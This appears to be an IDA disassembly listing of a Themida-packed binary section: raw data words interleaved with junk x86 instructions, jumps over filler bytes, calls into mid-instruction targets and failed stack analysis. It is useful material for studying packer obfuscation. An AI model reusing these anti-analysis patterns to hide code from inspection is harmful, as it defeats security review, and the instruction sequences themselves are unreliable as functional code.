		dd 1B9F04E2h, 0F08166F1h, 8B564099h, 0EE95AD3h,	0BC000000h
		dd 6CD588D5h, 825A1560h, 0B67AF512h, 12E926h, 2A890000h
		dd 0D736DD1h, 3F244548h, 0B19E241Eh, 7735C364h,	0AE9h
		dd 0A3D62D00h, 54EDC163h, 51371131h, 4BC98160h,	0F90D9C5Ah
		dd 8F0F5E61h, 1, 6E9F9h, 0E3100000h, 806DCC12h,	0BC58C181h
		dd 0F56285Ch, 0E85FCEB7h, 7, 6022CD03h,	0E8B578ABh, 0Bh
		dd 0A978AFE1h, 1D93FA93h, 0FBFD2AEh, 5E58CEB7h,	10E9h
		dd 27A6F700h, 26FB7DCBh, 0DB50E87Dh, 0A8461B3Eh, 11BE665Bh
		dd 68E0FAAh, 0F000000h,	89h, 9E800h, 13700000h,	0BBA32E1Dh
		dd 0E9766037h, 0Ah, 0EC7D42ECh,	0F3CBC1Ah, 0E95BDAA8h
		dd 9, 2F16C7A9h, 0DBCAC1B6h, 12E95388h,	0E2000000h, 0B7B45EB6h
		dd 0DC31B9E0h, 88306410h, 3288BC26h, 80F55BC7h,	830F85C3h
		dd 1Ch,	14E8h, 0A63A2200h, 52496C0Ch, 721CA512h, 0A00E6D7Ah
		dd 0A4EAD44Eh, 5A0EB665h, 0B960D38Ah, 27A60B34h, 820FF561h
		dd 0Ch,	6820Fh,	840F0000h, 0
; ---------------------------------------------------------------------------
		add	al, 0C3h
		jmp	loc_5B52F6
; ---------------------------------------------------------------------------
		dd 8991E91Fh, 77A38A66h, 856DBB21h
; ---------------------------------------------------------------------------
		shl	cl, 1


loc_5B52F6:				; CODE XREF: Themida_:005B52E3j
		jmp	loc_5B5305
; ---------------------------------------------------------------------------
		db 1Fh
		dd 0AB09475h, 2B84343Eh
		db 3Eh
; ---------------------------------------------------------------------------


loc_5B5305:				; CODE XREF: Themida_:loc_5B52F6j
		adc	bh, 0FAh
		jmp	loc_5B5321
; ---------------------------------------------------------------------------
		db 8Dh,	4Dh, 4Bh
		dd 36CF0412h, 0C7D40112h, 94E8F9Bh, 0E32D105Bh
; ---------------------------------------------------------------------------
		cdq


loc_5B5321:				; CODE XREF: Themida_:005B5308j
		cld
		sbb	dh, 6Bh
		cld
		mov	ax, cx
		mov	ebx, ecx
		jmp	loc_5B533A
; ---------------------------------------------------------------------------
		dd 68672E19h, 0AA4FC60Bh
		db 0F6h, 0BDh
; ---------------------------------------------------------------------------


loc_5B533A:				; CODE XREF: Themida_:005B532Bj
		mov	di, 60BCh
		call	near ptr loc_5B534E+3
		lahf
		db	36h
		and	bh, bl
		cmp	eax, 55036A32h
		db	64h
		daa


loc_5B534E:				; CODE XREF: Themida_:005B533Ep
		imul	edi, [edi+5F24B01Bh], 0FFE38160h
		cmp	edx, [edx]
		xor	[edi], ecx
		add	dword ptr ds:0BA000000h, 77h
; ---------------------------------------------------------------------------
		db 0DDh
		dd 0F6131F6h, 0C85h, 6830F00h, 0F000000h, 8Ch, 0C7C68000h
		dd 0BFD1BF0Fh, 59AE2B21h, 8AFBB70Fh, 0D68B66F7h, 82B4C28Bh
		dd 6F7DBA66h, 60CA8B66h, 0FC78166h, 8161F823h, 74BFDCF2h
		dd 74B96628h, 0FB8B660Fh, 1F880Fh, 14E80000h, 0BB000000h
		dd 5DDDB6A3h, 48C48A61h, 469EF312h, 8FB456F5h, 0B97A5041h
		dd 3C037FAAh, 0A0E3805Eh, 8166F38Bh, 0F46F7C8h,	18Fh, 8A51F800h
		dd 14E95EFAh, 2D000000h, 8E07AEB8h, 0D52F4BE8h,	0E2CA339h
		dd 936BA091h, 6647E7BCh, 8B6CC5B8h, 98D0FC6h, 0F000000h
		dd 38Ch, 26E98000h, 0F77D24B9h,	80F18A4Dh, 81505DD2h, 59B8F2D1h
		dd 8B665939h, 38EF81CEh, 0F1E667Fh, 2081h, 0DE800h, 9B7A0000h
		dd 77303930h, 72936124h, 0E8F27677h, 7,	2B0FC7Dh, 59684932h
		dd 0C0BF0F5Ah, 80D3B70Fh, 8166D9D7h, 810123D6h,	49A8B1DAh
		dd 0FD08B43h, 8Eh, 227BBE00h, 0D78051DCh, 8B0F6095h, 0
; ---------------------------------------------------------------------------
		mov	al, 0D8h
		popa
		and	al, 20h
		jmp	loc_5B5490
; ---------------------------------------------------------------------------
		db 6Fh
		db 89h,	0E4h
		dw 0B615h
; ---------------------------------------------------------------------------


loc_5B5490:				; CODE XREF: Themida_:005B5486j
		add	cx, 52B4h
		mov	di, 0BEC0h
		pusha
		push	edi
		mov	dx, di
		pop	esi
		jo	loc_5B54BA
		jmp	loc_5B54BA
; ---------------------------------------------------------------------------
		dw 1AD2h
		dd 6577F722h, 4B88BB06h, 3C5F7E8Fh
		db 0C0h, 98h
; ---------------------------------------------------------------------------


loc_5B54BA:				; CODE XREF: Themida_:005B549Fj
					; Themida_:005B54A5j
		popa
		mov	ecx, 300A3E3Fh
		mov	dl, ah
		mov	edx, edi
		jmp	loc_5B54D5
; ---------------------------------------------------------------------------
		db 17h,	38h, 0E6h
		dd 0C674F779h, 0FD14BAA2h
		db 0D0h
; ---------------------------------------------------------------------------


loc_5B54D5:				; CODE XREF: Themida_:005B54C4j
		and	ax, 7343h
		jp	loc_5B54E4
		mov	ax, 0E140h


loc_5B54E4:				; CODE XREF: Themida_:005B54DAj
		mov	esi, 14B63277h
		xor	dh, 2Fh
		jmp	loc_5B54FA
; ---------------------------------------------------------------------------
		db 3Ah,	18h, 0E7h
		dd 0AF7510D3h
; ---------------------------------------------------------------------------
		or	al, 87h


loc_5B54FA:				; CODE XREF: Themida_:005B54ECj
		stc
		sbb	di, 0F787h
		mov	edi, esi
		mov	bh, 0ACh
		mov	ax, bx
		mov	bl, 0CFh
		mov	bl, 0A1h
		sbb	ecx, 3C72DF35h
		mov	eax, edi
		jmp	loc_5B551D
; ---------------------------------------------------------------------------
		dd 59F85D8Ah
		db 7Ch
; ---------------------------------------------------------------------------


loc_5B551D:				; CODE XREF: Themida_:005B5513j
		call	near ptr loc_5B552A+4
		dec	esp
		db	26h
		enter	0FFFFD267h, 0FEh
		jp	short loc_5B558B


loc_5B552A:				; CODE XREF: Themida_:loc_5B551Dp
		mov	[esi-70F03901h], edx
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------
		pop	edx
		adc	dx, 4475h
		sbb	edi, 6078CFA6h
		mov	esi, 4711299Ch
		jmp	loc_5B5551
; ---------------------------------------------------------------------------
		dw 809Ch
		dd 4C526BD1h
		db 0E3h
; ---------------------------------------------------------------------------


loc_5B5551:				; CODE XREF: Themida_:005B5545j
		jmp	loc_5B5563
; ---------------------------------------------------------------------------
		dw 5B41h
		dd 0DC8896A8h, 2771FAD9h
		db 0ECh, 64h, 9Ch
; ---------------------------------------------------------------------------


loc_5B5563:				; CODE XREF: Themida_:loc_5B5551j
		mov	si, 0C7BEh
		jmp	loc_5B557F
; ---------------------------------------------------------------------------
		dd 368CBE25h, 5A531001h, 6574ACD0h, 75CA2325h
		db 51h,	54h, 0C5h
; ---------------------------------------------------------------------------


loc_5B557F:				; CODE XREF: Themida_:005B5567j
		add	di, 8FA6h
		mov	edi, 616C7642h
; ---------------------------------------------------------------------------
		db 0Fh,	82h
; ---------------------------------------------------------------------------


loc_5B558B:				; CODE XREF: Themida_:005B5528j
		or	al, 0
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 68Ch, 810F00h, 80000000h, 3EB9C3C7h,	0E848E541h, 14h
		dd 205E8AA3h, 790EE4ACh, 4103C8Fh, 4D4FFF55h, 52BCF085h
		dd 5B9BC280h, 10E9h, 0D6E0AE00h, 7A053678h, 0FCD1E26h
		dd 211EB213h, 6660511Ch, 685DEA81h, 5A1ACB81h, 5B611DAEh
		dd 10870Fh, 0BE90000h, 1C000000h, 0F2B1E4F5h, 8028B76Ch
		dd 9E9DDEDh, 3C000000h,	0D02ADD7h, 61BF4F81h, 66D2BF0Fh
		dd 3DBEF381h, 8EB1D08Bh, 3AC2BABFh, 0D3BF0F3Ah,	60D38166h
		dd 13BB6697h, 66D78BE1h, 7B6AC181h, 80F6E680h, 8BF833C9h
		dd 66C88BD1h, 14E9F18Bh, 0B3000000h, 293DF0ECh,	9ED0FC1Dh
		dd 0BF5E0385h, 72997FA6h, 0F9C36ED5h, 3A0BEF9h,	0E781235Fh
		dd 5B105BD6h, 81D78B60h, 0B55FFFCBh, 0F38B6114h, 668DCE80h
		dd 0BA66D78Bh, 11E93262h, 71000000h, 74D68431h,	0FA271F17h
		dd 83B9A2BFh, 0B78B4823h, 10E8h, 0E0FD6400h, 0F1E8A44Fh
		dd 730BE397h, 50FCF53h,	8B5EF8C9h, 0D1E081F1h, 0F54F157h
		dd 683h, 62CB8100h, 0E96DD8EBh,	7, 5054464Fh, 0F032B17h
		dd 0A80h, 4870F00h, 66000000h, 81FCF2BBh, 0CFEE94C3h, 0C68B6607h
		dd 8BD6BF0Fh, 0B5BF66CAh, 5E98Dh, 36B00000h, 8BB237CDh
		dd 816660C3h, 66190DE7h, 0BF61FB8Bh, 0B2F61CBh,	11E956FCh
		dd 0E1000000h, 0C7D24675h, 0C270CD39h, 0F91DD4A7h, 95B9BCEDh
		dd 0FBB70F58h, 8AD68B66h, 0FE9D1h, 6F30000h, 0AD381A9h
		dd 0BC1FA6DFh, 68BF00F3h, 0F6060B3h, 6661D8B7h,	61C9FBBFh
		dd 0C15D17BAh, 32F18158h, 0F92A6C9Ah, 28F0Fh, 0D18B0000h
		dd 0DC8AD68Bh, 0BB66D38Bh, 0C8801721h, 0EE967h,	0DC60000h
		dd 2D44AFFDh, 0C2AF0B4Fh, 0FA7384BCh, 6E9h, 533F4F00h
		dd 0E9904B9Bh, 14h, 49A6F1E9h, 553F41C4h, 495006B8h, 0B889FBDEh
		dd 0DEE47CCAh, 6E9E68Ah, 88000000h, 0F7434571h,	8E88Eh
		dd 0A0610000h, 975C901Bh, 5FF570A4h, 800F38B4h,	0
; ---------------------------------------------------------------------------
		mov	esi, 703B7E89h
		push	edx
		sub	al, 6Bh
		pop	esi
		jmp	loc_5B57DB
; ---------------------------------------------------------------------------
		db 91h
		dd 0BB62790Bh, 0EC987754h, 28E3C667h
		db 1Ch,	0A7h, 0DEh
; ---------------------------------------------------------------------------


loc_5B57DB:				; CODE XREF: Themida_:005B57C6j
		push	ecx
		ja	loc_5B57E4
		push	ebx
		pop	esi


loc_5B57E4:				; CODE XREF: Themida_:005B57DCj
		pop	esi
		and	dl, 2Fh
		mov	ecx, 3AB3735Ch
		mov	eax, 78EC49FCh
		jo	loc_5B57FB
		mov	ax, bx


loc_5B57FB:				; CODE XREF: Themida_:005B57F2j
		clc
		jmp	loc_5B580B
; ---------------------------------------------------------------------------
		db 0FBh, 6Eh, 9
		dd 4FC1B5BBh
		db 0FFh, 99h, 0F2h
; ---------------------------------------------------------------------------


loc_5B580B:				; CODE XREF: Themida_:005B57FCj
		mov	eax, 0CD46AAFh
		jmp	loc_5B5828
; ---------------------------------------------------------------------------
		db 0DAh, 0ACh, 0C6h
		dd 5D3937AAh, 714B465h,	0C0B12204h, 7B9DB7C7h
; ---------------------------------------------------------------------------


loc_5B5828:				; CODE XREF: Themida_:005B5810j
		add	ah, 41h
		add	bh, 74h
		mov	ah, 61h
		jmp	loc_5B583A
; ---------------------------------------------------------------------------
		xchg	bl, [esi]
		lodsd
		retn
; ---------------------------------------------------------------------------
		db 0Ch
; ---------------------------------------------------------------------------


loc_5B583A:				; CODE XREF: Themida_:005B5830j
		jnb	loc_5B585A
		jo	loc_5B585A
		jmp	loc_5B585A
; ---------------------------------------------------------------------------
		db 0Bh
; ---------------------------------------------------------------------------
		sbb	dh, ch
		mov	esi, 5F50CC87h
		push	ds
		les	ebx, [ebx]
		mov	[ebx-2Ch], ah


loc_5B585A:				; CODE XREF: Themida_:loc_5B583Aj
					; Themida_:005B5840j ...
		call	sub_5B5864
		xor	ch, 60h
		add	al, 0A5h

; =============== S U B	R O U T	I N E =======================================



sub_5B5864	proc near		; CODE XREF: Themida_:loc_5B585Ap

; FUNCTION CHUNK AT 005B588C SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005B58C4 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 005B5916 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005B5949 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005B597C SIZE 00000025 BYTES

		push	edi
		pop	ebx
		pop	ebx
		mov	ax, 0B2CFh
		call	near ptr loc_5B5881+1
		jo	short loc_5B58C4
		adc	esp, edi
		movsb
		add	dh, al
		cmpsb
		inc	eax
		nop
		or	ecx, [esi+25C7CE24h]
		dec	ebp


loc_5B5881:				; CODE XREF: sub_5B5864+7p
		rep jmp	loc_5B588C
sub_5B5864	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		lahf
		push	edi
		or	[esi+edi*2], dh
; START	OF FUNCTION CHUNK FOR sub_5B5864


loc_5B588C:				; CODE XREF: sub_5B5864:loc_5B5881j
		pop	eax
		movsx	edi, si
		movzx	ebx, ax
		jo	loc_5B589C
		movsx	esi, si


loc_5B589C:				; CODE XREF: sub_5B5864+2Fj
		mov	edi, edx
		cmc
		call	near ptr loc_5B58AF+4
		inc	edi
		jnb	short loc_5B5916
		adc	byte ptr ds:2D348DC4h, 0FFh
		xlat


loc_5B58AF:				; CODE XREF: sub_5B5864+3Bp
		db	36h
		jmp	far ptr	8:0E9576BBEh
; END OF FUNCTION CHUNK	FOR sub_5B5864
; ---------------------------------------------------------------------------
		align 4
		dd 0A093EF00h, 2298ED1Dh, 0E85A5F7Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5864


loc_5B58C4:				; CODE XREF: sub_5B5864+Cj
		adc	al, [eax]
; END OF FUNCTION CHUNK	FOR sub_5B5864
; ---------------------------------------------------------------------------
		dw 0
		dd 0FBEDBE14h, 7C4AB636h, 2F93EC64h, 3764654Dh,	0EBE6943h
		dd 5B286FABh, 13E8h, 32227700h,	34B5E429h, 198CD795h, 0DB3B86C7h
		dd 601D4FBh, 0E6333ABEh, 880F5867h, 2, 6E9DE8Bh, 0D1000000h
		dd 0B3A39FAh, 0F2BF0F68h
		db 66h,	8Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5864


loc_5B5916:				; CODE XREF: sub_5B5864+41j
		sar	ecx, 81h
		icebp
		add	[ecx-287ED980h], ebp
		sbb	ax, 552h
		add	edi, 5B1C2344h
		mov	esi, 31668384h
		mov	eax, 56B6776Ah
		xor	si, 605Fh
		xor	ah, 24h
		mov	si, cx
		jmp	loc_5B5949
; END OF FUNCTION CHUNK	FOR sub_5B5864
; ---------------------------------------------------------------------------
		dd 7D81ABE7h
		db 69h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5864


loc_5B5949:				; CODE XREF: sub_5B5864+DBj
		pusha
		and	ah, 54h
		mov	di, 13Bh
		popa
		mov	ecx, ebx
		adc	esi, 12281536h
		or	dx, 14CDh
		push	esi
		sbb	ch, 62h
		pop	edi
		mov	edx, edi
		mov	cl, 0DEh
		movzx	ebx, di
		jmp	loc_5B597C
; END OF FUNCTION CHUNK	FOR sub_5B5864
; ---------------------------------------------------------------------------
		dd 149489BFh, 0AE981927h, 8FAEF0A7h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B5864


loc_5B597C:				; CODE XREF: sub_5B5864+107j
		call	near ptr loc_5B598E+1
		mov	edx, [esi+72h]
		fsubr	qword ptr [ebx]
		push	ss
		imul	edi, ecx, 33h
		pusha
		push	edx
		arpl	[esi], sp


loc_5B598E:				; CODE XREF: sub_5B5864:loc_5B597Cp
		aad	80h
		mov	byte ptr [esi+46ACBB59h], 0B0h
		imul	ecx, [edi], -41h
		mov	dword ptr [eax-0Bh], 14E85Ah
; END OF FUNCTION CHUNK	FOR sub_5B5864
; ---------------------------------------------------------------------------
		db 2 dup(0), 0DDh
		dd 9AC5744Ch, 5E68C42Ah, 880AA2B6h, 15870D80h, 0FEDF377h
		dd 0E95ED2BFh, 0Bh, 0D92F9F38h,	40FF405Bh, 0F5C1933h, 1589h
		dd 10E900h, 2EE80000h, 0DAAFB380h, 637247A3h, 699B9906h
		dd 0E9F598EBh, 0Ah, 0C59C4DC4h,	8161C232h, 8166E85Bh, 8A64AEEEh
		dd 0B6C281D8h, 511DBA3Ch, 28C0Fh, 0CA8B0000h, 0C8B70F58h
		dd 0FE85F50h, 0C000000h, 0F7DBE790h, 0C3AB99B6h, 2150EEB2h
		dd 8E0F249Eh, 5, 15E88166h, 0D5805F97h,	7BEA80F8h, 4840Fh
		dd 0BF660000h, 13E81BE5h, 7B000000h, 5E97867Bh,	16396EABh
		dd 4C049919h, 0D2E2F1EDh, 5AF97C2Bh, 0F53ED80h,	489h, 0D5BE6600h
		dd 6681B422h, 8B0FCA8Bh, 18h, 13E9h, 1E8300h, 0DA761F0h
		dd 374063D4h, 0A58143CFh, 4ADD949h, 0E91ED580h,	6, 5C901BA0h
		dd 0BA66A497h, 0E852B6B8h, 0Fh,	706786CBh, 0D2B5D2BCh
		dd 47EFE794h, 0F0F5B5Eh, 85h, 0BA5A5F00h, 125429BFh, 69D88166h
		dd 5800FF5h, 66000000h,	633CDA81h, 0F28B6051h, 5F615EB7h
		dd 0DBBB8B6h, 66702BB5h, 81B5DDBBh, 41DD92C0h, 0D88AF546h
		dd 4103BA66h, 14E9h, 4309000h, 0E1D66B75h, 595F011Fh, 4D80C8B9h
		dd 0B57EC520h, 66FE8B96h, 0B872B2BFh, 36A3818Eh, 5AF18B50h
		dd 66ACD580h, 39D6C081h, 27FFC381h, 0D1814FE3h,	26B23597h
		dd 2285B966h, 60D8BF0Fh, 0ED8060F5h, 10E8ACh, 45E90000h
		dd 8E3C2D0Bh, 3E9A7157h, 0FDCC8244h, 615BBB58h,	0C7B5BF61h
		dd 0F6024B7h, 488h, 8DB86600h, 10E961C0h, 0BE000000h, 3972F59Ah
		dd 0FED82102h, 6B708C20h, 0E9F6F2C3h, 7, 2D9F0681h, 0FC62E548h
		dd 920A14BBh, 0ECE38144h, 0E851B635h, 5, 46A6A4FDh, 0D9B70F4Dh
		dd 870F59h, 0E8000000h,	0Eh, 3AE6EBBFh,	0F3355722h, 9666EDABh
		dd 0D081898Eh, 60554FF7h, 0D68B6659h, 80C28B66h, 0F5073E7h
		dd 28Ch, 5FF08B00h, 0B270BFF5h,	6CBE6167h, 603A254Fh, 0F78B66F9h
		dd 0DFB1F561h, 53D78B66h, 11E8h, 980DC300h, 0AD49F142h
		dd 47248D34h, 0ED1A9F7Dh, 0EE84A9Fh, 9F000000h,	5EE0A6E6h
		dd 0E05277BEh, 0A575664Ah, 58595E25h, 820FCA8Bh, 15h, 10E9h
		dd 0DABCB800h, 5F9C3FB2h, 0EA97F28Ah, 5B85A605h, 19830F6Ch
		dd 0E9000000h, 14h, 0C2D4A6D2h,	0CC8A7923h, 0FE0F62C5h
		dd 0C2D223ADh, 2DEF8D41h, 4890Fh, 50520000h, 13E95858h
		dd 7B000000h, 0C81E3BDBh, 0AD6AFC4Fh, 0B35EAF97h, 931E142Dh
		dd 0BF0F32E1h, 0D7B70FF1h, 3840Fh, 8B660000h, 8B6660FAh
		dd 28F0FCEh, 0B3000000h, 0A2B66187h, 0E8C7BF0Fh, 0Bh, 801FE1Bh
		dd 9AAACB8Eh, 5B4E4BB9h, 0CE9h,	8361F400h, 9CACB84Bh, 6DB2103Ah
		dd 0F9AABE16h, 13E90407h, 0F2000000h, 0FC50B333h, 8D709E15h
		dd 0D089628h, 3F2AF7FFh, 5257EFC4h, 8E9h, 72452600h, 19BDEEE9h
		dd 0F85A59F6h, 8A0FD98Bh, 5, 4B14A8BBh,	128F0F35h, 0E9000000h
		dd 0Dh,	0F74C069Ch, 0F133A71h, 0D1555E79h, 0C78166E6h
		dd 0EE8A5480h, 0B6B4D281h, 0CE8B7DC7h, 28D0Fh, 12B60000h
		dd 0FABF0F60h, 6661D48Ah, 1B4BF181h, 91F5E381h,	0D08B3615h
		dd 0E902F080h, 0Fh, 0EE1F0848h,	0D7B8ECDBh, 47783D39h
		dd 0F9FEA71h, 8B66DBBFh, 8850FD0h, 0F000000h, 282h, 506CB300h
		dd 880F5EF9h, 3, 8BD08B66h, 1EA81D6h, 800468D0h, 0EBB799E2h
		dd 26E38160h, 660A09D5h, 6139DFBBh, 0DE9h, 702DF700h, 49E80C62h
		dd 0FA26DC6h, 0D781E73Eh, 67EEA4F0h, 7E9h, 0DE2EDE00h
		dd 6C2DFBB2h, 6E9AE181h, 0BF66344Bh, 8B66F7C5h,	0A5DF80C8h
		dd 3712BE66h, 6E9h, 34AD4900h, 8A47248Dh, 0FEB70FD9h, 5850Fh
		dd 81660000h, 0F5A1D0E2h, 0EFC78060h, 880F60h, 0F000000h
		dd 82h,	0F616100h, 8Ch,	840F6000h, 5, 0C85E29B8h, 6160534Fh
		dd 0EA80615Bh, 0DE921h,	39E10000h, 0B08280D7h, 0B282BA68h
		dd 8A3107F7h, 2DB9F8E3h, 605EE91Eh, 6E9h, 0BB85C600h, 66F9C441h
		dd 61E7DABEh, 0CE8h, 0CCAEAF00h, 6472CE29h, 8E1C98Ah, 58DE8BEEh
		dd 1EE6F781h, 6660490Fh, 71ACCB81h, 17A11BBBh, 8160610Eh
		dd 0C3EBA1C3h, 0BFBE5629h, 583D2A8Ah, 0B8A0F61h, 0E9000000h
		dd 6, 4AC833C1h, 5756605Eh, 60D4BA66h, 0E4805F5Bh, 38DE8036h
		dd 0EE9h, 11F4F700h, 64C8FDBCh,	230FE68h, 813677B2h, 52D528F7h
		dd 0E9DF8B3Dh, 0Ch, 0E6CE558Dh,	648B8A7h, 0B8502F60h, 81D78BF9h
		dd 124A71DEh, 13E80Fh, 76A0000h, 54577B0Ah, 187898F3h
		dd 96095395h, 371A097Fh, 6E829h, 0B8560000h, 1F092A91h
		dd 5A4AEC80h, 0F8BF0F59h, 13E9h, 3CEF5600h, 861D3B70h
		dd 0FDC04751h, 4D46A6A4h, 0C6AD516h, 0FE9A6B5h,	78000000h
		dd 0F04E443Ah, 17454D8Fh, 9B2993C6h, 65B3BFD9h,	0AEFD081h
		dd 0D181511Eh, 2150157Fh, 870F5250h, 0
; ---------------------------------------------------------------------------
		pop	eax
		pop	edx
		jl	loc_5B5F32
		mov	ebx, edi


loc_5B5F32:				; CODE XREF: Themida_:005B5F2Aj
		pusha
		call	loc_5B5F3F
		fnsave	byte ptr [ecx+53E05169h]
		stosb


loc_5B5F3F:				; CODE XREF: Themida_:005B5F33p
		xor	ax, 16C7h
		pop	esi
		popa
		mov	cx, 0A3h
		pusha
		jb	loc_5B5F54
		mov	si, ax


loc_5B5F54:				; CODE XREF: Themida_:005B5F4Bj
		mov	eax, 1D4F0B06h
		popa
		jg	loc_5B5F65
		push	esi
		movzx	edx, di
		pop	edx


loc_5B5F65:				; CODE XREF: Themida_:005B5F5Aj
		jmp	loc_5B5F7A
; ---------------------------------------------------------------------------
		dw 6251h
		dd 1E37D923h, 0FF8A4AACh, 5D08C6AAh
		db 7Eh,	1Dh
; ---------------------------------------------------------------------------


loc_5B5F7A:				; CODE XREF: Themida_:loc_5B5F65j
		add	si, 0C355h
		add	dx, 7BBh
		movzx	esi, cx
		jns	loc_5B5F95
		pusha
		mov	dx, bx
		movzx	eax, bx
		popa


loc_5B5F95:				; CODE XREF: Themida_:005B5F87j
		mov	cx, 4184h
		movsx	ecx, di
		push	ebx
		jmp	loc_5B5FB2
; ---------------------------------------------------------------------------
		dw 6320h
		dd 0F5A719ACh, 628587FDh, 6C35964Fh
		db 0C0h, 0E8h
; ---------------------------------------------------------------------------


loc_5B5FB2:				; CODE XREF: Themida_:005B5F9Dj
		pop	edx
		jmp	loc_5B5FC4
; ---------------------------------------------------------------------------
		dd 601D8558h, 0AE83AE9Ch, 0BBD29258h
; ---------------------------------------------------------------------------


loc_5B5FC4:				; CODE XREF: Themida_:005B5FB3j
		sbb	cx, 0B8F7h
		cld
		stc
		jz	loc_5B5FD6
		sub	di, 1B64h


loc_5B5FD6:				; CODE XREF: Themida_:005B5FCBj
		mov	di, 6157h
		mov	edi, 5E35913h
		cmc
		xor	si, 92A3h
		mov	cx, 0CB94h
		mov	bx, ax
		jmp	loc_5B5FF6
; ---------------------------------------------------------------------------
		add	al, 0A5h
		fdivp	st(7), st
		pop	esi


loc_5B5FF6:				; CODE XREF: Themida_:005B5FECj
		movzx	edi, bx
		movsx	ebx, bx
		push	esi
		mov	bh, 0EAh
		pop	ebx
		push	esi
		and	si, 6EADh
		pop	esi
		call	near ptr sub_5B6015
		xchg	cl, dl
		cli
		inc	esp
; ---------------------------------------------------------------------------
		dd 0E090CF8Eh
; ---------------------------------------------------------------------------
		cwde

; =============== S U B	R O U T	I N E =======================================



sub_5B6015	proc far		; CODE XREF: Themida_:005B6007p

; FUNCTION CHUNK AT 005B60CF SIZE 00000006 BYTES

		movsx	eax, di
		pop	ebx
		jmp	loc_5B6032
; ---------------------------------------------------------------------------
		dw 5773h
		dd 69634BBCh, 0FE41F5E3h, 86D014EFh, 0F4EE2E6Eh
		db 3Eh,	7Eh
; ---------------------------------------------------------------------------


loc_5B6032:				; CODE XREF: sub_5B6015+4j
		mov	ebx, 7C5FF06Ch
		sub	dl, 71h
		or	ax, 77ADh
		jmp	loc_5B604A
; ---------------------------------------------------------------------------
		dd 29782F58h
		db 42h,	18h
; ---------------------------------------------------------------------------


loc_5B604A:				; CODE XREF: sub_5B6015+2Aj
		call	near ptr loc_5B605B+4
		setalc
		push	ecx
		aaa
		xor	es:[ebx-1Bh], edx
		fstp	tbyte ptr [ebp+4Bh]
		loop	loc_5B60CF


loc_5B605B:				; CODE XREF: sub_5B6015:loc_5B604Ap
		sub	dword ptr [ecx+edi*4+0AE856A5h], 0
sub_5B6015	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0
		dd 93AA9A00h, 908B2CDh,	5B930F4Dh, 0F08B5858h, 3880BF66h
		dd 0BBA0DA80h, 4656A3C9h, 66A2E180h, 0E86197BAh, 9, 7C052862h
		dd 0FF35BB89h, 3830F6Fh, 66000000h, 665ED08Bh, 53C982BEh
		dd 8E85Eh, 4DF40000h, 0DE68444Ch, 0B1605CC4h, 0C88B6614h
		dd 57B05F61h, 66F9BF0Fh, 57B8CE8Bh, 525525B4h, 48F0Fh
		db 2 dup(0), 66h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B6015


loc_5B60CF:				; CODE XREF: sub_5B6015+44j
		mov	eax, 815B0CA5h
		retf
; END OF FUNCTION CHUNK	FOR sub_5B6015
; ---------------------------------------------------------------------------
		db 43h,	2, 0D2h
		dd 0D78B665Ah, 0B86645B3h, 800F6BFAh, 3, 0FD0BF0Fh, 0B70FFEBFh
		dd 0F88B66D3h, 0B9D38166h, 81666042h, 0F3033E2h, 5061F1BFh
		dd 0F959C18Bh, 870F14B3h, 2, 0F601FB2h,	8Eh, 0F88B6600h
		dd 9D38161h, 0E856E237h, 0Bh, 9E634A77h, 0E8F1D336h, 0E92629B4h
		dd 8, 79B0F9D6h, 0C112F6C9h, 0EB81665Eh, 66533B8Ch, 806AD981h
		dd 0FCB46058h, 188C0Fh,	12E80000h, 0FC000000h, 3B5ADF0h
		dd 1909CC8Eh, 6B043E5Ah, 37227A7h, 0F9615B1Dh, 10E9A9B3h
		dd 96000000h, 51FC2CD9h, 25624BFDh, 0B029467Ah,	5325CFC9h
		dd 0EE8h, 0A5746C00h, 10336CEh,	40BF685Bh, 582144F3h, 32E1815Ah
		dd 665282DEh, 0B425CB81h, 0F0816651h, 8A5AEFDCh, 7BBE66EAh
		dd 0FD68B8Ch, 81h, 0D6815000h, 77EA26ACh, 0FAED805Bh, 57C1BF0Fh
		dd 3778B85Eh, 9CB36D57h, 75EA8166h, 21EE810Bh, 0E909F4A4h
		dd 0Bh,	5F59ED84h, 0E15D5DA1h, 0E9AFE7D4h, 11h,	0D6047B61h
		dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 7E904h, 0D22F0000h
		dd 37DB2776h, 850F5300h, 2, 605AD98Bh, 73EA80FCh, 0B72FBA61h
		dd 0BF602123h, 234FFF55h, 6699B561h, 51915AB8h,	5F89B456h
		dd 8B66F959h, 0CE8166F7h, 0EE92A46h, 2A000000h,	0E009A541h
		dd 9281069Bh, 0DC943161h, 13E9A5h, 0D5C20000h, 925A457Eh
		dd 23C56F2Ch, 92B9B32Ah, 948E189h, 8060608Dh, 8A0F3DE7h
		dd 0
		dd 0F18B6661h, 0FE861h,	42A0000h, 0FC04C927h, 791A93C9h
		dd 9965E033h, 58AEB4B8h, 0AE9h,	886AC900h, 4C995160h, 0FE8AB70h
		dd 286h, 60F18B00h, 81D38B66h, 364A92D0h, 66F56141h, 0BF0FC38Bh
		dd 0CB8B66F2h, 11E9h, 4DEEF900h, 4EA3132Eh, 0D88652D5h
		dd 9F5D9B2Dh, 8B0FB13Ah, 1, 0F28166F9h,	7E9410Bh, 3E000000h
		dd 7FD12C9Ch, 5F5793DAh, 9AD38166h, 3DEA805Ch, 5E9FCh
		dd 6EF0000h, 8136E26Dh,	0ABBE2BE0h, 0DFBF0F76h,	58B0Fh
		dd 81660000h, 0BE72D4EFh, 58D8E8ABh, 0FE8h, 87CF3B00h
		dd 686647h, 25843EDAh, 0F23F282Ch, 6E9h, 634EC900h, 5911B302h
		dd 8B2BF780h, 13E960C1h, 41000000h, 42419191h, 0F78E9C40h
		dd 0FAA31F73h, 0F8712503h, 0BA66ACFDh, 0FC6152EEh, 0E8E641B9h
